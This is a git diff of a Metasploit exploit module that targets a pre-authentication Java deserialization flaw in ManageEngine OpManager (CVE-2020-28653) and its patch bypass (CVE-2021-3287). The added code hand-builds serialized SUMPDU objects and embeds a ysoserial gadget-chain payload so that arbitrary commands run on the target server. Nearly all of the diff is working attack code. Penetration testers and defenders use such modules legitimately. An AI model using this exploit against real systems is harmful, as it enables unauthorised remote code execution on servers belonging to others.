diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
index 8fd8bc4f5e23..c524d1d76700 100644
--- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
+++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
@@ -10,6 +10,11 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::CmdStager
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Powershell
+  include Rex::Java
+
+  JAVA_SERIALIZED_STRING = [ Serialization::TC_STRING, 0 ].pack('Cn')
+  JAVA_SERIALIZED_STRING_ARRAY = "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"\
+    "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x00".b
 
   def initialize(info = {})
     super(
@@ -33,7 +38,7 @@ def initialize(info = {})
         'Platform' => [ 'win', 'linux', 'python', 'unix' ],
         'References' => [
           [ 'CVE', '2020-28653' ], # original CVE
-          # [ 'CVE', '2021-3287' ], # patch bypass
+          [ 'CVE', '2021-3287' ], # patch bypass
           [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ]
         ],
         'Privileged' => true,
@@ -125,8 +130,7 @@ def check
     res = send_request_cgi({
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
-      # Serialized int 1002
-      'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b
+      'data' => build_java_serialized_int(1002)
     })
     return Exploit::CheckCode::Unknown unless res
     # the patched version will respond back with 200 OK and no data in the response body
@@ -151,14 +155,15 @@ def exploit
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
       'keep_cookies' => true,
-      # Serialized int 1002
-      'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b
+      'data' => build_java_serialized_int(1002)
     })
     unless res&.code == 200
       fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session')
     end
     print_status('The request handler has been associated with the HTTP session')
 
+    send_sumpdu(build_sumpdu(data: build_java_serialized_int(0)))
+
     # Step 3: Exploit the deserialization vulnerability to run commands
     case target['Type']
     when :nix_dropper
@@ -176,9 +181,42 @@ def exploit
     end
   end
 
+  def build_java_serialized_int(int)
+    stream = Serialization::Model::Stream.new
+    stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N'))
+    stream.encode
+  end
+
+  def build_sumpdu(data: '')
+    # build a serialized SUMPDU object with a custom data block
+    sumpdu = "\xac\xed\x00\x05\x73\x72\x00\x27\x63\x6f\x6d\x2e\x61\x64\x76\x65".b
+    sumpdu << "\x6e\x74\x6e\x65\x74\x2e\x74\x6f\x6f\x6c\x73\x2e\x73\x75\x6d\x2e".b
+    sumpdu << "\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2e\x53\x55\x4d\x50\x44\x55\x24".b
+    sumpdu << "\x29\xfc\x8a\x86\x1b\xfd\xed\x03\x00\x03\x5b\x00\x04\x64\x61\x74".b
+    sumpdu << "\x61\x74\x00\x02\x5b\x42\x4c\x00\x02\x69\x64\x74\x00\x12\x4c\x6a".b
+    sumpdu << "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b".b
+    sumpdu << "\x4c\x00\x08\x75\x6e\x69\x71\x75\x65\x49\x44\x71\x00\x7e\x00\x02".b
+    sumpdu << "\x78\x70\x7a" + [ 0x14 + data.length ].pack('N')
+    sumpdu << "\x00\x0c\x4f\x50\x45\x4e\x5f\x53\x45\x53\x53\x49\x4f\x4e\x00\x00".b
+    sumpdu << "\x00\x00"
+    sumpdu << [ data.length ].pack('n') + data
+    sumpdu << "\x78".b
+    sumpdu
+  end
+
+  def send_sumpdu(sumpdu)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'),
+      'keep_cookies' => true,
+      'data' => [ sumpdu.length ].pack('N') + sumpdu
+    })
+    res
+  end
+
   def execute_command(cmd, _opts = {})
-    # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the
-    # dependency on the commons-collections library making it usable in this context
+    # An executable needs to be prefixed to the command to make it compatible with the way in which the gadget chain
+    # will execute it.
     case target['Platform']
     when 'python'
       cmd.prepend('python -c ')
@@ -190,14 +228,19 @@ def execute_command(cmd, _opts = {})
     end
 
     vprint_status("Executing command: #{cmd}")
+    # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the
+    # dependency on the commons-collections library making it usable in this context
     java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd)
 
-    res = send_request_cgi({
-      'method' => 'POST',
-      'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'),
-      'keep_cookies' => true,
-      'data' => [ java_payload.length ].pack('N') + java_payload
-    })
+    pdu_data = build_java_serialized_int(2)
+    pdu_data << JAVA_SERIALIZED_STRING
+    pdu_data << JAVA_SERIALIZED_STRING
+    pdu_data << JAVA_SERIALIZED_STRING
+    pdu_data << JAVA_SERIALIZED_STRING_ARRAY
+    pdu_data << Serialization::TC_RESET
+    pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b)
+
+    res = send_sumpdu(build_sumpdu(data: pdu_data))
     fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200
   end
 end